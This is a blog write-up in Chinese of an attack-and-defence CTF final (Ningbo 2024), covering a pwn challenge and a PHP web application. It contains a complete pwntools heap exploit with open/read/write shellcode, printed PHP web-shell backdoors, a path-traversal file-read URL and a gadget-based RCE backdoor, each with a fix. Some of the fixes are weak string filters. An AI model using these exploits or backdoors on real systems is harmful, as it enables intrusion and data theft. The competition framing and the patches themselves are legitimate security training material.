2024宁波市第七届网络安全大赛决赛 awd wp

pwn

攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.arch='amd64'
import sys
def add(ind,size,data=b'\n'):
p.sendlineafter(b'edit',b'1')
p.sendlineafter(b'size',str(size).encode())
p.sendlineafter(b'index',str(ind).encode())
p.sendafter(b'content',data)

def free(ind):
p.sendlineafter(b'edit',b'2')
p.sendlineafter(b'index',str(ind).encode())
def show(ind):
p.sendlineafter(b'edit',b'3')
p.sendlineafter(b'index\n',str(ind).encode())
def edit(ind,data):
p.sendlineafter(b'edit',b'4')
p.sendlineafter(b'index',str(ind).encode())
p.sendafter(b'content',data)

p=remote(sys.argv[1],sys.argv[2],timeout=2)
#p=process("./pwn")
libc=ELF("./libc-2.27.so")
p.sendlineafter(b'name',b'rotwill')
#gdb.attach(p,'b mprotect\nc')
add(0,0x500)
add(1,0x50)
add(2,0x50)
add(3,0x50)
free(0)
show(0)
d=u64(p.read(6).ljust(8,b'\x00'))
libc.address=d-0x60-0x10-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
setcontext=libc.address+0x52085
mprotect=libc.sym['mprotect']
free(1)
free(2)
show(2)
d=u64(p.read(6).ljust(8,b'\x00'))
chunk1=d
edit(2,p64(free_hook))
chunk6=chunk1-0x500-0x10
payload=flat({
0:chunk6+0x100,
0x68: chunk6&(~0xfff),
0x70: 0x1000,
0x88: 0x7,
0xa0:chunk6,
0xa8: mprotect
},filler=b'\x00')
payload=payload.ljust(0x100,b'\x00')
shellcode=shellcraft.open('flag')+shellcraft.read(3,chunk6,0x40)+\
shellcraft.write(1,chunk6,0x40)
payload+=asm(shellcode)
add(6,0x500,payload)

add(4,0x50)
add(5,0x50,p64(setcontext))
free(6)
p.readuntil(b"flag{")

print(b'flag{'+p.readuntil(b'}'))

p.close()

修复

将触发free函数的操作改为清空对应chunk指针即可

然后导出替换

cat /tmp/pwn1 > /home/ctf/pwn

web

漏洞1-默认后门

用D盾直接扫可以扫到两个默认后门

public/test.php

1
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

修复

直接删掉

漏洞2-默认后门

public/upload/other/20240513/hack.php

1
<?php @eval($_POST['cmd']); ?>

修复

直接删掉

漏洞3-任意文件上传

public/hint.txt得到管理员账号密码

1
2
3
4
测试账号

账号:ADMIN1
密码:mypassword

通过.env可知后台地址映射为oka_admin

登录后台后发现在上传头像处没有过滤,可以直接上传

可惜这个点不是未授权,批量利用比较麻烦

修复

1:修改密码,后台没找到修改密码的地方,需要进入数据库修改

2:增加白名单

app/admin/controller/File.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
/**
* 支持上传大文件
*/
public function upload()
{
$input = input('post.');
$uploadPath = public_path().'upload/';
$uploadFile = $this->request->file('file');
$originalName = $uploadFile->getOriginalName();
$originalType = FileAddons::getType(config('upload.ext'), $originalName);
$chunkId = empty($input['id']) ? md5(sha1_file($uploadFile).$input['size']) : $input['id'];
$chunkIndex = $input['index'];
$chunkCount = $input['count'];
$chunkPath = 'chunk/'.$chunkId.'/';


// 增加的代码
$extension = strtolower($uploadFile->getOriginalExtension());
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array($extension, $allowedExtensions)) {
throw new ValidateException('只允许上传图片文件');
}


if (empty($originalType)) {
return json(['status' => 'error', 'message' => '类型不支持,在常规管理中可配置!']);
}
try {
validate([ 'file' => ['fileSize' => config('upload.size')[$originalType], 'fileExt' => config('upload.ext')[$originalType]] ])->check(['file' => $uploadFile]);
} catch (ValidateException $e) {
return json(['status' => 'error', 'message' => $e->getMessage()]);
}
// 断点续传
if ($chunkIndex == 1) {
if (is_dir($uploadPath . $chunkPath)) {
$oldChunkIndex = count(scandir($uploadPath . $chunkPath)) - 3;
if ($oldChunkIndex > 1) {
return json(['status' => 'success', 'message' => '断点续传', 'index' => $oldChunkIndex, 'id' => $chunkId]);
}
}
}
// 分片写入
Filesystem::disk('public')->putFileAs($chunkPath, $uploadFile, $chunkIndex . '.tmp');
if ($chunkIndex < $chunkCount) {
return json(['status' => 'success', 'message' => '分片上传', 'index' => $chunkIndex, 'id' => $chunkId]);
}
// 分片检查
for ($i = 1; $i <= $chunkCount; $i++) {
if (! file_exists($uploadPath . $chunkPath . $i . '.tmp')) {
return json(['status' => 'error', 'message' => '文件损坏,请重新上传']);
}
}
// 分片合并
$filePath = $uploadPath . $originalType . '/' . date('Ymd') . '/';
if (! is_dir($filePath)) {
mkdir($filePath, 0777, true);
}
$fileExt = $uploadFile->getOriginalExtension() ? $uploadFile->getOriginalExtension() : substr(strrchr($originalName, '.'), 1);
$fileName = md5(microtime(true) . $originalName) . '.' . $fileExt;
$fileWrite = @fopen($filePath . $fileName, "wb");
if (flock($fileWrite, LOCK_EX)) {
for ($i = 1; $i <= $chunkCount; $i++) {
$uploadFile = $uploadPath . $chunkPath . $i . '.tmp';
if (!$handle = @fopen($uploadFile, "rb")) {
break;
}
while ($buff = fread($handle, filesize($uploadFile))) {
fwrite($fileWrite, $buff);
}
@fclose($handle);
@unlink($uploadFile); //删除分片
}
flock($fileWrite, LOCK_UN);
}
@fclose($fileWrite);
// 存入数据库
$save = FileModel::create([
'title' => $originalName,
'type' => $originalType,
'size' => $input['size'],
'url' => str_replace(public_path(), '/', $filePath . $fileName),
'status' => 1,
'theme' => theme(),
'create_time' => $input['create_time'],
]);
// 图片处理
if ($originalType === "image" && $fileExt != 'ico' && $fileExt != 'gif') {
// 封面图片
thumbnail($save['url'],100,100);
// 水印图片
$watermark = $this->request->watermark;
if (! empty($watermark)) {
if ($watermark['open'] === 1) {
// 水印图片
$watermarkConfig = $this->request->watermark;
if (!empty($watermarkConfig)) {
if ($watermarkConfig['open'] === 1) {
$file = str_replace('\/', '/', public_path() . $save->url);
$image = Image::open($file);
$scale = (int)$watermarkConfig['scale'] / 100;
$position = (int)$watermarkConfig['position'];
$opacity = (int)$watermarkConfig['opacity'];
$height = $image->height();
$width = $image->width();
if ($watermarkConfig['type'] === 'image') {
$water = public_path() . 'upload/watermark.png';
if (is_file($water)) {
if ($watermarkConfig['sizeType'] === 'scale') {
// 按照比例
$thumb = Image::open($water);
$waterName = pathinfo($save->url, PATHINFO_FILENAME);
$waterThumb = str_replace('watermark', 'watermark_thumb', $water);
$thumb->thumb($width*$scale, $height*$scale)->save($waterThumb);
$image->water($waterThumb, $position, $opacity)->save($file);
if (is_file($waterThumb)) {
unlink($waterThumb);
}
} else {
// 按实际大小
$image->water($water, $position, $opacity)->save($file);
}
}
} else {
$opacity = 127 - (127 * $opacity / 100);
$dechex = dechex($opacity);
$fontColor = $watermarkConfig['fontColor'].$dechex;
$fontSize = $watermarkConfig['sizeType'] === 'scale' ? $scale * ($width/2) : $watermarkConfig['fontSize'];
$fontFamily = public_path() . $watermarkConfig['fontFamily'];
$image->text($watermarkConfig['fontText'], $fontFamily, $fontSize, $fontColor, $position, 0, $watermarkConfig['fontAngle'])->save($file);
}
}
}
}
}
}
// 上传结束钩子
event('UploadEnd', $save);
return json(['status' => 'success', 'message' => '上传成功', 'data' => $save]);
}

漏洞4-任意文件读取

在修漏洞3-任意文件上传的时候看到就在上传文件的代码的上面几行就是一个下载函数,没有任何过滤,可以直接利用

app/admin/controller/File.php

1
2
3
4
5
6
7
8
/**
* 下载文件
*/
public function download()
{
$input = input();
return download(public_path() . $input['url'], $input['title']);
}

/oka_admin/file/download?url=../../../../../../flag&title=1.txt

修复

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 下载文件
*/
public function download()
{
$input = input();

$input = str_replace("flag","",$input);
$input = str_replace("../","",$input);

return download(public_path() . $input['url'], $input['title']);
}

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 下载文件
*/
public function download()
{
$input = input();

if(strpos($input['url'],'flag')!==false){
throw new Exception("No No");
}

return download(public_path() . $input['url'], $input['title']);
}

漏洞5-rce

审计发现public/themes/template/404.html包含恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['a'], $_GET['aa'], $_GET['b'], $_GET['bb'], $_GET['c'])) {
$a = $_GET['a'];
$aa = $_GET['aa'];
$b = $_GET['b'];
$bb = $_GET['bb'];
$c = $_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
} else {
echo '';
}
?>

访问任意不存在的文件使得404.html被包含即可通过Error内置类进行rce

修复

直接删掉这段代码

其他

1:web靶机从第二轮开始基本所有队伍都上了通防,基本全靠pwn拿分了(偶尔会有几个web重置可以拿分)
2:网络环境很差,有的靶机访问特别慢
3:大概第四第五轮开始ssh中断,一直到结束前四十分钟才恢复
4:没与工作人员说明的情况下靶机被重置多次(好像很多队伍都被重置了。但是重置后ssh密码也被更改了,赛后才知道是123456)
5:大量靶机没有flag(可能有队伍提权了,不过猜测大概率是因为ssh连不上导致写不进flag)
6:flag提交的api接口有问题(例子:交了10个flag,全部显示flag错误,但是会加分)

哈哈哈哈


2024宁波市第七届网络安全大赛决赛 awd wp
https://www.dr0n.top/posts/20b347fd/
作者
dr0n
发布于
2024年5月25日
更新于
2024年5月27日
许可协议